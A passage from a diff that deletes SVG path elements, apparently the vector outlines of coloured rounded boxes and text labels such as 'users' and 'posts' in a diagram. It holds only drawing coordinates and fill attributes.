399.219358,355.476637 399.594358,355.37247 C399.979774,355.257887 400.386024,355.200595 400.813108,355.200595 C401.469358,355.200595 402.042274,355.294345 402.531858,355.481845 C403.021441,355.669345 403.380816,355.924553 403.609983,356.24747 C403.849566,356.55997 404.016233,356.987053 404.109983,357.52872 L402.734983,357.71622 C402.672483,357.289137 402.490191,356.955803 402.188108,356.71622 C401.886024,356.476637 401.464149,356.356845 400.922483,356.356845 C400.276649,356.356845 399.813108,356.46622 399.531858,356.68497 C399.261024,356.893303 399.125608,357.138095 399.125608,357.419345 C399.125608,357.606845 399.182899,357.773512 399.297483,357.919345 C399.412066,358.065178 399.589149,358.190178 399.828733,358.294345 C399.974566,358.346428 400.391233,358.46622 401.078733,358.65372 C402.068316,358.914137 402.761024,359.132887 403.156858,359.30997 C403.552691,359.476637 403.859983,359.721428 404.078733,360.044345 C404.307899,360.367262 404.422483,360.768303 404.422483,361.24747 C404.422483,361.71622 404.281858,362.158928 404.000608,362.575595 C403.729774,362.981845 403.333941,363.299553 402.813108,363.52872 C402.302691,363.757887 401.724566,363.87247 401.078733,363.87247 C399.995399,363.87247 399.172483,363.648512 398.609983,363.200595 C398.047483,362.752678 397.688108,362.086012 397.531858,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M382.09436,382.68497 L380.68811,382.68497 L380.68811,373.71622 C380.34436,374.039137 379.896443,374.362053 379.34436,374.68497 C378.802693,375.007887 378.31311,375.252678 377.87561,375.419345 L377.87561,374.05997 C378.65686,373.68497 379.339152,373.237053 379.922485,372.71622 C380.516235,372.18497 380.93811,371.674553 381.18811,371.18497 L382.09436,371.18497 L382.09436,382.68497 Z M386.258422,382.68497 L386.258422,371.231845 L390.586547,371.231845 C391.346964,371.231845 391.925089,371.268303 392.320922,371.34122 C392.883422,371.43497 393.352172,371.612053 393.727172,371.87247 C394.112589,372.132887 394.419881,372.502678 394.649047,372.981845 C394.888631,373.450595 395.008422,373.971428 395.008422,374.544345 C395.008422,375.513095 394.695922,376.336012 394.070922,377.013095 C393.456339,377.690178 392.336547,378.02872 390.711547,378.02872 L387.774047,378.02872 L387.774047,382.68497 L386.258422,382.68497 Z M387.774047,376.669345 L390.742797,376.669345 C391.721964,376.669345 392.414672,376.487053 392.820922,376.12247 C393.237589,375.757887 393.445922,375.24747 393.445922,374.59122 C393.445922,374.112053 393.320922,373.700595 393.070922,373.356845 C392.831339,373.013095 392.513631,372.789137 392.117797,372.68497 C391.867797,372.612053 391.399047,372.575595 390.711547,372.575595 L387.774047,372.575595 L387.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,353.5403 L282.16272,353.5403 C282.16272,349.733659 285.248627,346.647783 289.055268,346.647783 L338.766268,346.647783 C340.59427,346.647783 342.347414,347.373949 343.640017,348.666551 C344.932619,349.959154 345.658785,351.712297 345.658785,353.5403 L345.658785,381.109575 C345.658785,384.916216 342.572908,388.002123 338.766268,388.002123 L289.055268,388.002123 C285.248627,388.002123 282.16272,384.916216 282.16272,381.109575 L282.16272,353.5403 Z" id="Path" fill="#F04E98"></path>
-                <path d="M300.84827,363.68497 L300.84827,362.46622 C300.202437,363.40372 299.322228,363.87247 298.207645,363.87247 C297.718062,363.87247 297.259728,363.77872 296.832645,363.59122 C296.415978,363.40372 296.103478,363.169345 295.895145,362.888095 C295.686812,362.596428 295.540978,362.24747 295.457645,361.84122 C295.405562,361.55997 295.37952,361.12247 295.37952,360.52872 L295.37952,355.388095 L296.78577,355.388095 L296.78577,359.981845 C296.78577,360.721428 296.811812,361.21622 296.863895,361.46622 C296.957645,361.84122 297.145145,362.132887 297.426395,362.34122 C297.718062,362.549553 298.072228,362.65372 298.488895,362.65372 C298.915978,362.65372 299.311812,362.549553 299.676395,362.34122 C300.051395,362.12247 300.311812,361.825595 300.457645,361.450595 C300.613895,361.075595 300.69202,360.533928 300.69202,359.825595 L300.69202,355.388095 L302.09827,355.388095 L302.09827,363.68497 L300.84827,363.68497 Z M303.746708,361.200595 L305.137333,360.981845 C305.210249,361.544345 305.423791,361.976637 305.777958,362.27872 C306.142541,362.570387 306.642541,362.71622 307.277958,362.71622 C307.923791,362.71622 308.402958,362.586012 308.715458,362.325595 C309.027958,362.054762 309.184208,361.742262 309.184208,361.388095 C309.184208,361.075595 309.048791,360.825595 308.777958,360.638095 C308.580041,360.513095 308.100874,360.356845 307.340458,360.169345 C306.309208,359.908928 305.590458,359.68497 305.184208,359.49747 C304.788374,359.299553 304.486291,359.033928 304.277958,358.700595 C304.080041,358.367262 303.981083,357.99747 303.981083,357.59122 C303.981083,357.21622 304.064416,356.87247 304.231083,356.55997 C304.397749,356.24747 304.626916,355.987053 304.918583,355.77872 C305.137333,355.612053 305.434208,355.476637 305.809208,355.37247 C306.194624,355.257887 306.600874,355.200595 307.027958,355.200595 C307.684208,355.200595 308.257124,355.294345 308.746708,355.481845 C309.236291,355.669345 309.595666,355.924553 309.824833,356.24747 C310.064416,356.55997 310.231083,356.987053 310.324833,357.52872 L308.949833,357.71622 C308.887333,357.289137 308.705041,356.955803 308.402958,356.71622 C308.100874,356.476637 307.678999,356.356845 307.137333,356.356845 C306.491499,356.356845 306.027958,356.46622 305.746708,356.68497 C305.475874,356.893303 305.340458,357.138095 305.340458,357.419345 C305.340458,357.606845 305.397749,357.773512 305.512333,357.919345 C305.626916,358.065178 305.803999,358.190178 306.043583,358.294345 C306.189416,358.346428 306.606083,358.46622 307.293583,358.65372 C308.283166,358.914137 308.975874,359.132887 309.371708,359.30997 C309.767541,359.476637 310.074833,359.721428 310.293583,360.044345 C310.522749,360.367262 310.637333,360.768303 310.637333,361.24747 C310.637333,361.71622 310.496708,362.158928 310.215458,362.575595 C309.944624,362.981845 309.548791,363.299553 309.027958,363.52872 C308.517541,363.757887 307.939416,363.87247 307.293583,363.87247 C306.210249,363.87247 305.387333,363.648512 304.824833,363.200595 C304.262333,362.752678 303.902958,362.086012 303.746708,361.200595 Z M317.981083,361.013095 L319.434208,361.18497 C319.205041,362.039137 318.777958,362.700595 318.152958,363.169345 C317.538374,363.638095 316.751916,363.87247 315.793583,363.87247 C314.574833,363.87247 313.611291,363.49747 312.902958,362.74747 C312.194624,361.99747 311.840458,360.950595 311.840458,359.606845 C311.840458,358.211012 312.199833,357.127678 312.918583,356.356845 C313.637333,355.586012 314.569624,355.200595 315.715458,355.200595 C316.819624,355.200595 317.720666,355.580803 318.418583,356.34122 C319.126916,357.09122 319.481083,358.148512 319.481083,359.513095 C319.481083,359.596428 319.481083,359.721428 319.481083,359.888095 L313.293583,359.888095 C313.345666,360.804762 313.600874,361.507887 314.059208,361.99747 C314.527958,362.476637 315.106083,362.71622 315.793583,362.71622 C316.314416,362.71622 316.757124,362.580803 317.121708,362.30997 C317.486291,362.039137 317.772749,361.606845 317.981083,361.013095 Z M313.371708,358.731845 L317.996708,358.731845 C317.934208,358.033928 317.757124,357.513095 317.465458,357.169345 C317.017541,356.627678 316.439416,356.356845 315.731083,356.356845 C315.085249,356.356845 314.538374,356.575595 314.090458,357.013095 C313.652958,357.440178 313.413374,358.013095 313.371708,358.731845 Z M321.19202,363.68497 L321.19202,355.388095 L322.457645,355.388095 L322.457645,356.638095 C322.780562,356.054762 323.077437,355.669345 323.34827,355.481845 C323.619103,355.294345 323.921187,355.200595 324.25452,355.200595 C324.72327,355.200595 325.202437,355.351637 325.69202,355.65372 L325.207645,356.950595 C324.863895,356.752678 324.520145,356.65372 324.176395,356.65372 C323.874312,356.65372 323.59827,356.74747 323.34827,356.93497 C323.108687,357.112053 322.936812,357.367262 322.832645,357.700595 C322.676395,358.200595 322.59827,358.74747 322.59827,359.34122 L322.59827,363.68497 L321.19202,363.68497 Z M325.97327,361.200595 L327.363895,360.981845 C327.436812,361.544345 327.650353,361.976637 328.00452,362.27872 C328.369103,362.570387 328.869103,362.71622 329.50452,362.71622 C330.150353,362.71622 330.62952,362.586012 330.94202,362.325595 C331.25452,362.054762 331.41077,361.742262 331.41077,361.388095 C331.41077,361.075595 331.275353,360.825595 331.00452,360.638095 C330.806603,360.513095 330.327437,360.356845 329.56702,360.169345 C328.53577,359.908928 327.81702,359.68497 327.41077,359.49747 C327.014937,359.299553 326.712853,359.033928 326.50452,358.700595 C326.306603,358.367262 326.207645,357.99747 326.207645,357.59122 C326.207645,357.21622 326.290978,356.87247 326.457645,356.55997 C326.624312,356.24747 326.853478,355.987053 327.145145,355.77872 C327.363895,355.612053 327.66077,355.476637 328.03577,355.37247 C328.421187,355.257887 328.827437,355.200595 329.25452,355.200595 C329.91077,355.200595 330.483687,355.294345 330.97327,355.481845 C331.462853,355.669345 331.822228,355.924553 332.051395,356.24747 C332.290978,356.55997 332.457645,356.987053 332.551395,357.52872 L331.176395,357.71622 C331.113895,357.289137 330.931603,356.955803 330.62952,356.71622 C330.327437,356.476637 329.905562,356.356845 329.363895,356.356845 C328.718062,356.356845 328.25452,356.46622 327.97327,356.68497 C327.702437,356.893303 327.56702,357.138095 327.56702,357.419345 C327.56702,357.606845 327.624312,357.773512 327.738895,357.919345 C327.853478,358.065178 328.030562,358.190178 328.270145,358.294345 C328.415978,358.346428 328.832645,358.46622 329.520145,358.65372 C330.509728,358.914137 331.202437,359.132887 331.59827,359.30997 C331.994103,359.476637 332.301395,359.721428 332.520145,360.044345 C332.749312,360.367262 332.863895,360.768303 332.863895,361.24747 C332.863895,361.71622 332.72327,362.158928 332.44202,362.575595 C332.171187,362.981845 331.775353,363.299553 331.25452,363.52872 C330.744103,363.757887 330.165978,363.87247 329.520145,363.87247 C328.436812,363.87247 327.613895,363.648512 327.051395,363.200595 C326.488895,362.752678 326.12952,362.086012 325.97327,361.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M310.09436,382.68497 L308.68811,382.68497 L308.68811,373.71622 C308.34436,374.039137 307.896443,374.362053 307.34436,374.68497 C306.802693,375.007887 306.31311,375.252678 305.87561,375.419345 L305.87561,374.05997 C306.65686,373.68497 307.339152,373.237053 307.922485,372.71622 C308.516235,372.18497 308.93811,371.674553 309.18811,371.18497 L310.09436,371.18497 L310.09436,382.68497 Z M314.258422,382.68497 L314.258422,371.231845 L318.586547,371.231845 C319.346964,371.231845 319.925089,371.268303 320.320922,371.34122 C320.883422,371.43497 321.352172,371.612053 321.727172,371.87247 C322.112589,372.132887 322.419881,372.502678 322.649047,372.981845 C322.888631,373.450595 323.008422,373.971428 323.008422,374.544345 C323.008422,375.513095 322.695922,376.336012 322.070922,377.013095 C321.456339,377.690178 320.336547,378.02872 318.711547,378.02872 L315.774047,378.02872 L315.774047,382.68497 L314.258422,382.68497 Z M315.774047,376.669345 L318.742797,376.669345 C319.721964,376.669345 320.414672,376.487053 320.820922,376.12247 C321.237589,375.757887 321.445922,375.24747 321.445922,374.59122 C321.445922,374.112053 321.320922,373.700595 321.070922,373.356845 C320.831339,373.013095 320.513631,372.789137 320.117797,372.68497 C319.867797,372.612053 319.399047,372.575595 318.711547,372.575595 L315.774047,372.575595 L315.774047,376.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M354.16272,457.5403 L354.16272,457.5403 C354.16272,453.733659 357.248627,450.647783 361.055268,450.647783 L410.766268,450.647783 C412.59427,450.647783 414.347414,451.373949 415.640017,452.666551 C416.932619,453.959154 417.658785,455.712297 417.658785,457.5403 L417.658785,485.109575 C417.658785,488.916216 414.572908,492.002123 410.766268,492.002123 L361.055268,492.002123 C357.248627,492.002123 354.16272,488.916216 354.16272,485.109575 L354.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M367.85217,470.87247 L367.85217,459.388095 L369.13342,459.388095 L369.13342,460.46622 C369.435503,460.039137 369.774045,459.721428 370.149045,459.513095 C370.534462,459.304762 370.998003,459.200595 371.53967,459.200595 C372.248003,459.200595 372.873003,459.382887 373.41467,459.74747 C373.956337,460.112053 374.362587,460.627678 374.63342,461.294345 C374.91467,461.950595 375.055295,462.674553 375.055295,463.46622 C375.055295,464.320387 374.899045,465.086012 374.586545,465.763095 C374.284462,466.440178 373.841753,466.961012 373.25842,467.325595 C372.685503,467.690178 372.076128,467.87247 371.430295,467.87247 C370.961545,467.87247 370.53967,467.773512 370.16467,467.575595 C369.800087,467.377678 369.498003,467.127678 369.25842,466.825595 L369.25842,470.87247 L367.85217,470.87247 Z M369.117795,463.575595 C369.117795,464.648512 369.331337,465.440178 369.75842,465.950595 C370.19592,466.461012 370.721962,466.71622 371.336545,466.71622 C371.961545,466.71622 372.498003,466.450595 372.94592,465.919345 C373.393837,465.388095 373.617795,464.570387 373.617795,463.46622 C373.617795,462.40372 373.399045,461.612053 372.961545,461.09122 C372.524045,460.55997 372.003212,460.294345 371.399045,460.294345 C370.805295,460.294345 370.274045,460.575595 369.805295,461.138095 C369.346962,461.700595 369.117795,462.513095 369.117795,463.575595 Z M376.219358,463.52872 C376.219358,461.99747 376.646441,460.862053 377.500608,460.12247 C378.219358,459.507887 379.089149,459.200595 380.109983,459.200595 C381.255816,459.200595 382.188108,459.575595 382.906858,460.325595 C383.636024,461.065178 384.000608,462.096428 384.000608,463.419345 C384.000608,464.481845 383.839149,465.320387 383.516233,465.93497 C383.193316,466.549553 382.724566,467.02872 382.109983,467.37247 C381.505816,467.705803 380.839149,467.87247 380.109983,467.87247 C378.953733,467.87247 378.016233,467.502678 377.297483,466.763095 C376.578733,466.013095 376.219358,464.93497 376.219358,463.52872 Z M377.672483,463.52872 C377.672483,464.59122 377.901649,465.388095 378.359983,465.919345 C378.828733,466.450595 379.412066,466.71622 380.109983,466.71622 C380.807899,466.71622 381.386024,466.450595 381.844358,465.919345 C382.313108,465.388095 382.547483,464.575595 382.547483,463.481845 C382.547483,462.461012 382.313108,461.68497 381.844358,461.15372 C381.386024,460.62247 380.807899,460.356845 380.109983,460.356845 C379.412066,460.356845 378.828733,460.62247 378.359983,461.15372 C377.901649,461.674553 377.672483,462.46622 377.672483,463.52872 Z M385.086545,465.200595 L386.47717,464.981845 C386.550087,465.544345 386.763628,465.976637 387.117795,466.27872 C387.482378,466.570387 387.982378,466.71622 388.617795,466.71622 C389.263628,466.71622 389.742795,466.586012 390.055295,466.325595 C390.367795,466.054762 390.524045,465.742262 390.524045,465.388095 C390.524045,465.075595 390.388628,464.825595 390.117795,464.638095 C389.919878,464.513095 389.440712,464.356845 388.680295,464.169345 C387.649045,463.908928 386.930295,463.68497 386.524045,463.49747 C386.128212,463.299553 385.826128,463.033928 385.617795,462.700595 C385.419878,462.367262 385.32092,461.99747 385.32092,461.59122 C385.32092,461.21622 385.404253,460.87247 385.57092,460.55997 C385.737587,460.24747 385.966753,459.987053 386.25842,459.77872 C386.47717,459.612053 386.774045,459.476637 387.149045,459.37247 C387.534462,459.257887 387.940712,459.200595 388.367795,459.200595 C389.024045,459.200595 389.596962,459.294345 390.086545,459.481845 C390.576128,459.669345 390.935503,459.924553 391.16467,460.24747 C391.404253,460.55997 391.57092,460.987053 391.66467,461.52872 L390.28967,461.71622 C390.22717,461.289137 390.044878,460.955803 389.742795,460.71622 C389.440712,460.476637 389.018837,460.356845 388.47717,460.356845 C387.831337,460.356845 387.367795,460.46622 387.086545,460.68497 C386.815712,460.893303 386.680295,461.138095 386.680295,461.419345 C386.680295,461.606845 386.737587,461.773512 386.85217,461.919345 C386.966753,462.065178 387.143837,462.190178 387.38342,462.294345 C387.529253,462.346428 387.94592,462.46622 388.63342,462.65372 C389.623003,462.914137 390.315712,463.132887 390.711545,463.30997 C391.107378,463.476637 391.41467,463.721428 391.63342,464.044345 C391.862587,464.367262 391.97717,464.768303 391.97717,465.24747 C391.97717,465.71622 391.836545,466.158928 391.555295,466.575595 C391.284462,466.981845 390.888628,467.299553 390.367795,467.52872 C389.857378,467.757887 389.279253,467.87247 388.63342,467.87247 C387.550087,467.87247 386.72717,467.648512 386.16467,467.200595 C385.60217,466.752678 385.242795,466.086012 385.086545,465.200595 Z M396.711545,466.419345 L396.91467,467.669345 C396.518837,467.752678 396.16467,467.794345 395.85217,467.794345 C395.341753,467.794345 394.94592,467.71622 394.66467,467.55997 C394.38342,467.393303 394.185503,467.179762 394.07092,466.919345 C393.956337,466.648512 393.899045,466.09122 393.899045,465.24747 L393.899045,460.481845 L392.867795,460.481845 L392.867795,459.388095 L393.899045,459.388095 L393.899045,457.325595 L395.305295,456.481845 L395.305295,459.388095 L396.711545,459.388095 L396.711545,460.481845 L395.305295,460.481845 L395.305295,465.325595 C395.305295,465.731845 395.326128,465.992262 395.367795,466.106845 C395.419878,466.221428 395.503212,466.315178 395.617795,466.388095 C395.732378,466.450595 395.893837,466.481845 396.10217,466.481845 C396.25842,466.481845 396.461545,466.461012 396.711545,466.419345 Z M397.531858,465.200595 L398.922483,464.981845 C398.995399,465.544345 399.208941,465.976637 399.563108,466.27872 C399.927691,466.570387 400.427691,466.71622 401.063108,466.71622 C401.708941,466.71622 402.188108,466.586012 402.500608,466.325595 C402.813108,466.054762 402.969358,465.742262 402.969358,465.388095 C402.969358,465.075595 402.833941,464.825595 402.563108,464.638095 C402.365191,464.513095 401.886024,464.356845 401.125608,464.169345 C400.094358,463.908928 399.375608,463.68497 398.969358,463.49747 C398.573524,463.299553 398.271441,463.033928 398.063108,462.700595 C397.865191,462.367262 397.766233,461.99747 397.766233,461.59122 C397.766233,461.21622 397.849566,460.87247 398.016233,460.55997 C398.182899,460.24747 398.412066,459.987053 398.703733,459.77872 C398.922483,459.612053 399.219358,459.476637 399.594358,459.37247 C399.979774,459.257887 400.386024,459.200595 400.813108,459.200595 C401.469358,459.200595 402.042274,459.294345 402.531858,459.481845 C403.021441,459.669345 403.380816,459.924553 403.609983,460.24747 C403.849566,460.55997 404.016233,460.987053 404.109983,461.52872 L402.734983,461.71622 C402.672483,461.289137 402.490191,460.955803 402.188108,460.71622 C401.886024,460.476637 401.464149,460.356845 400.922483,460.356845 C400.276649,460.356845 399.813108,460.46622 399.531858,460.68497 C399.261024,460.893303 399.125608,461.138095 399.125608,461.419345 C399.125608,461.606845 399.182899,461.773512 399.297483,461.919345 C399.412066,462.065178 399.589149,462.190178 399.828733,462.294345 C399.974566,462.346428 400.391233,462.46622 401.078733,462.65372 C402.068316,462.914137 402.761024,463.132887 403.156858,463.30997 C403.552691,463.476637 403.859983,463.721428 404.078733,464.044345 C404.307899,464.367262 404.422483,464.768303 404.422483,465.24747 C404.422483,465.71622 404.281858,466.158928 404.000608,466.575595 C403.729774,466.981845 403.333941,467.299553 402.813108,467.52872 C402.302691,467.757887 401.724566,467.87247 401.078733,467.87247 C399.995399,467.87247 399.172483,467.648512 398.609983,467.200595 C398.047483,466.752678 397.688108,466.086012 397.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M376.7975,483.65372 L378.20375,483.46622 C378.370417,484.268303 378.646458,484.846428 379.031875,485.200595 C379.417292,485.544345 379.89125,485.71622 380.45375,485.71622 C381.11,485.71622 381.667292,485.487053 382.125625,485.02872 C382.583958,484.570387 382.813125,484.002678 382.813125,483.325595 C382.813125,482.679762 382.599583,482.148512 382.1725,481.731845 C381.755833,481.315178 381.219375,481.106845 380.563125,481.106845 C380.302708,481.106845 379.974583,481.158928 379.57875,481.263095 L379.735,480.02872 C379.82875,480.039137 379.901667,480.044345 379.95375,480.044345 C380.557917,480.044345 381.099583,479.888095 381.57875,479.575595 C382.057917,479.263095 382.2975,478.77872 382.2975,478.12247 C382.2975,477.612053 382.120417,477.190178 381.76625,476.856845 C381.4225,476.513095 380.974583,476.34122 380.4225,476.34122 C379.870417,476.34122 379.412083,476.513095 379.0475,476.856845 C378.682917,477.200595 378.448542,477.71622 378.344375,478.40372 L376.938125,478.15372 C377.115208,477.205803 377.505833,476.476637 378.11,475.96622 C378.724583,475.445387 379.485,475.18497 380.39125,475.18497 C381.01625,475.18497 381.589167,475.320387 382.11,475.59122 C382.64125,475.851637 383.042292,476.21622 383.313125,476.68497 C383.594375,477.143303 383.735,477.632887 383.735,478.15372 C383.735,478.65372 383.599583,479.106845 383.32875,479.513095 C383.068333,479.919345 382.677708,480.242262 382.156875,480.481845 C382.833958,480.638095 383.36,480.961012 383.735,481.450595 C384.11,481.940178 384.2975,482.554762 384.2975,483.294345 C384.2975,484.294345 383.932917,485.143303 383.20375,485.84122 C382.474583,486.539137 381.552708,486.888095 380.438125,486.888095 C379.438125,486.888095 378.604792,486.59122 377.938125,485.99747 C377.271458,485.393303 376.89125,484.612053 376.7975,483.65372 Z M386.258438,486.68497 L386.258438,475.231845 L390.586563,475.231845 C391.346979,475.231845 391.925104,475.268303 392.320938,475.34122 C392.883438,475.43497 393.352188,475.612053 393.727188,475.87247 C394.112604,476.132887 394.419896,476.502678 394.649063,476.981845 C394.888646,477.450595 395.008438,477.971428 395.008438,478.544345 C395.008438,479.513095 394.695938,480.336012 394.070938,481.013095 C393.456354,481.690178 392.336563,482.02872 390.711563,482.02872 L387.774063,482.02872 L387.774063,486.68497 L386.258438,486.68497 Z M387.774063,480.669345 L390.742813,480.669345 C391.721979,480.669345 392.414688,480.487053 392.820938,480.12247 C393.237604,479.757887 393.445938,479.24747 393.445938,478.59122 C393.445938,478.112053 393.320938,477.700595 393.070938,477.356845 C392.831354,477.013095 392.513646,476.789137 392.117813,476.68497 C391.867813,476.612053 391.399063,476.575595 390.711563,476.575595 L387.774063,476.575595 L387.774063,480.669345 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
-                <path d="M282.16272,457.5403 L282.16272,457.5403 C282.16272,453.733659 285.248627,450.647783 289.055268,450.647783 L338.766268,450.647783 C340.59427,450.647783 342.347414,451.373949 343.640017,452.666551 C344.932619,453.959154 345.658785,455.712297 345.658785,457.5403 L345.658785,485.109575 C345.658785,488.916216 342.572908,492.002123 338.766268,492.002123 L289.055268,492.002123 C285.248627,492.002123 282.16272,488.916216 282.16272,485.109575 L282.16272,457.5403 Z" id="Path" fill="#FEC514"></path>
-                <path d="M295.85217,470.87247 L295.85217,459.388095 L297.13342,459.388095 L297.13342,460.46622 C297.435503,460.039137 297.774045,459.721428 298.149045,459.513095 C298.534462,459.304762 298.998003,459.200595 299.53967,459.200595 C300.248003,459.200595 300.873003,459.382887 301.41467,459.74747 C301.956337,460.112053 302.362587,460.627678 302.63342,461.294345 C302.91467,461.950595 303.055295,462.674553 303.055295,463.46622 C303.055295,464.320387 302.899045,465.086012 302.586545,465.763095 C302.284462,466.440178 301.841753,466.961012 301.25842,467.325595 C300.685503,467.690178 300.076128,467.87247 299.430295,467.87247 C298.961545,467.87247 298.53967,467.773512 298.16467,467.575595 C297.800087,467.377678 297.498003,467.127678 297.25842,466.825595 L297.25842,470.87247 L295.85217,470.87247 Z M297.117795,463.575595 C297.117795,464.648512 297.331337,465.440178 297.75842,465.950595 C298.19592,466.461012 298.721962,466.71622 299.336545,466.71622 C299.961545,466.71622 300.498003,466.450595 300.94592,465.919345 C301.393837,465.388095 301.617795,464.570387 301.617795,463.46622 C301.617795,462.40372 301.399045,461.612053 300.961545,461.09122 C300.524045,460.55997 300.003212,460.294345 299.399045,460.294345 C298.805295,460.294345 298.274045,460.575595 297.805295,461.138095 C297.346962,461.700595 297.117795,462.513095 297.117795,463.575595 Z M304.219358,463.52872 C304.219358,461.99747 304.646441,460.862053 305.500608,460.12247 C306.219358,459.507887 307.089149,459.200595 308.109983,459.200595 C309.255816,459.200595 310.188108,459.575595 310.906858,460.325595 C311.636024,461.065178 312.000608,462.096428 312.000608,463.419345 C312.000608,464.481845 311.839149,465.320387 311.516233,465.93497 C311.193316,466.549553 310.724566,467.02872 310.109983,467.37247 C309.505816,467.705803 308.839149,467.87247 308.109983,467.87247 C306.953733,467.87247 306.016233,467.502678 305.297483,466.763095 C304.578733,466.013095 304.219358,464.93497 304.219358,463.52872 Z M305.672483,463.52872 C305.672483,464.59122 305.901649,465.388095 306.359983,465.919345 C306.828733,466.450595 307.412066,466.71622 308.109983,466.71622 C308.807899,466.71622 309.386024,466.450595 309.844358,465.919345 C310.313108,465.388095 310.547483,464.575595 310.547483,463.481845 C310.547483,462.461012 310.313108,461.68497 309.844358,461.15372 C309.386024,460.62247 308.807899,460.356845 308.109983,460.356845 C307.412066,460.356845 306.828733,460.62247 306.359983,461.15372 C305.901649,461.674553 305.672483,462.46622 305.672483,463.52872 Z M313.086545,465.200595 L314.47717,464.981845 C314.550087,465.544345 314.763628,465.976637 315.117795,466.27872 C315.482378,466.570387 315.982378,466.71622 316.617795,466.71622 C317.263628,466.71622 317.742795,466.586012 318.055295,466.325595 C318.367795,466.054762 318.524045,465.742262 318.524045,465.388095 C318.524045,465.075595 318.388628,464.825595 318.117795,464.638095 C317.919878,464.513095 317.440712,464.356845 316.680295,464.169345 C315.649045,463.908928 314.930295,463.68497 314.524045,463.49747 C314.128212,463.299553 313.826128,463.033928 313.617795,462.700595 C313.419878,462.367262 313.32092,461.99747 313.32092,461.59122 C313.32092,461.21622 313.404253,460.87247 313.57092,460.55997 C313.737587,460.24747 313.966753,459.987053 314.25842,459.77872 C314.47717,459.612053 314.774045,459.476637 315.149045,459.37247 C315.534462,459.257887 315.940712,459.200595 316.367795,459.200595 C317.024045,459.200595 317.596962,459.294345 318.086545,459.481845 C318.576128,459.669345 318.935503,459.924553 319.16467,460.24747 C319.404253,460.55997 319.57092,460.987053 319.66467,461.52872 L318.28967,461.71622 C318.22717,461.289137 318.044878,460.955803 317.742795,460.71622 C317.440712,460.476637 317.018837,460.356845 316.47717,460.356845 C315.831337,460.356845 315.367795,460.46622 315.086545,460.68497 C314.815712,460.893303 314.680295,461.138095 314.680295,461.419345 C314.680295,461.606845 314.737587,461.773512 314.85217,461.919345 C314.966753,462.065178 315.143837,462.190178 315.38342,462.294345 C315.529253,462.346428 315.94592,462.46622 316.63342,462.65372 C317.623003,462.914137 318.315712,463.132887 318.711545,463.30997 C319.107378,463.476637 319.41467,463.721428 319.63342,464.044345 C319.862587,464.367262 319.97717,464.768303 319.97717,465.24747 C319.97717,465.71622 319.836545,466.158928 319.555295,466.575595 C319.284462,466.981845 318.888628,467.299553 318.367795,467.52872 C317.857378,467.757887 317.279253,467.87247 316.63342,467.87247 C315.550087,467.87247 314.72717,467.648512 314.16467,467.200595 C313.60217,466.752678 313.242795,466.086012 313.086545,465.200595 Z M324.711545,466.419345 L324.91467,467.669345 C324.518837,467.752678 324.16467,467.794345 323.85217,467.794345 C323.341753,467.794345 322.94592,467.71622 322.66467,467.55997 C322.38342,467.393303 322.185503,467.179762 322.07092,466.919345 C321.956337,466.648512 321.899045,466.09122 321.899045,465.24747 L321.899045,460.481845 L320.867795,460.481845 L320.867795,459.388095 L321.899045,459.388095 L321.899045,457.325595 L323.305295,456.481845 L323.305295,459.388095 L324.711545,459.388095 L324.711545,460.481845 L323.305295,460.481845 L323.305295,465.325595 C323.305295,465.731845 323.326128,465.992262 323.367795,466.106845 C323.419878,466.221428 323.503212,466.315178 323.617795,466.388095 C323.732378,466.450595 323.893837,466.481845 324.10217,466.481845 C324.25842,466.481845 324.461545,466.461012 324.711545,466.419345 Z M325.531858,465.200595 L326.922483,464.981845 C326.995399,465.544345 327.208941,465.976637 327.563108,466.27872 C327.927691,466.570387 328.427691,466.71622 329.063108,466.71622 C329.708941,466.71622 330.188108,466.586012 330.500608,466.325595 C330.813108,466.054762 330.969358,465.742262 330.969358,465.388095 C330.969358,465.075595 330.833941,464.825595 330.563108,464.638095 C330.365191,464.513095 329.886024,464.356845 329.125608,464.169345 C328.094358,463.908928 327.375608,463.68497 326.969358,463.49747 C326.573524,463.299553 326.271441,463.033928 326.063108,462.700595 C325.865191,462.367262 325.766233,461.99747 325.766233,461.59122 C325.766233,461.21622 325.849566,460.87247 326.016233,460.55997 C326.182899,460.24747 326.412066,459.987053 326.703733,459.77872 C326.922483,459.612053 327.219358,459.476637 327.594358,459.37247 C327.979774,459.257887 328.386024,459.200595 328.813108,459.200595 C329.469358,459.200595 330.042274,459.294345 330.531858,459.481845 C331.021441,459.669345 331.380816,459.924553 331.609983,460.24747 C331.849566,460.55997 332.016233,460.987053 332.109983,461.52872 L330.734983,461.71622 C330.672483,461.289137 330.490191,460.955803 330.188108,460.71622 C329.886024,460.476637 329.464149,460.356845 328.922483,460.356845 C328.276649,460.356845 327.813108,460.46622 327.531858,460.68497 C327.261024,460.893303 327.125608,461.138095 327.125608,461.419345 C327.125608,461.606845 327.182899,461.773512 327.297483,461.919345 C327.412066,462.065178 327.589149,462.190178 327.828733,462.294345 C327.974566,462.346428 328.391233,462.46622 329.078733,462.65372 C330.068316,462.914137 330.761024,463.132887 331.156858,463.30997 C331.552691,463.476637 331.859983,463.721428 332.078733,464.044345 C332.307899,464.367262 332.422483,464.768303 332.422483,465.24747 C332.422483,465.71622 332.281858,466.158928 332.000608,466.575595 C331.729774,466.981845 331.333941,467.299553 330.813108,467.52872 C330.302691,467.757887 329.724566,467.87247 329.078733,467.87247 C327.995399,467.87247 327.172483,467.648512 326.609983,467.200595 C326.047483,466.752678 325.688108,466.086012 325.531858,465.200595 Z" id="Shape" fill="#FFFFFF" fill-rule="nonzero"></path>
